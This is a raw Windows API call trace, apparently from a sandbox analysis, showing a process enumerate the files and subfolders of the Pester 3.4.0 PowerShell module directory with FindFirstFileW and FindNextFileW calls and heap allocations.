	[0161.349] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.349] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.349] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0
	[0161.349] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0161.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.350] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0161.350] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0161.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0161.351] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1
	[0161.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0161.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0161.359] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.359] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0161.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0161.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0161.360] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.360] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1
	[0161.360] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0
	[0161.360] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0161.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.361] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1
	[0161.361] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0161.361] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1
	[0161.361] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chocolateyInstall.ps1", cAlternateFileName="")) returned 1
	[0161.361] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0161.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0161.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0161.362] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.362] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1
	[0161.362] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1
	[0161.362] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1
	[0161.363] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1
	[0161.363] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1
	[0161.363] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0
	[0161.363] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0161.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.363] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0161.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0161.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0161.363] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.364] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1
	[0161.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0161.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0161.364] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.364] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1
	[0161.364] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.364] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.364] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0161.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0161.365] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0161.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0161.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0161.365] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.365] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.365] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.365] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0161.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0161.365] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0161.365] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0161.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.366] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0161.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
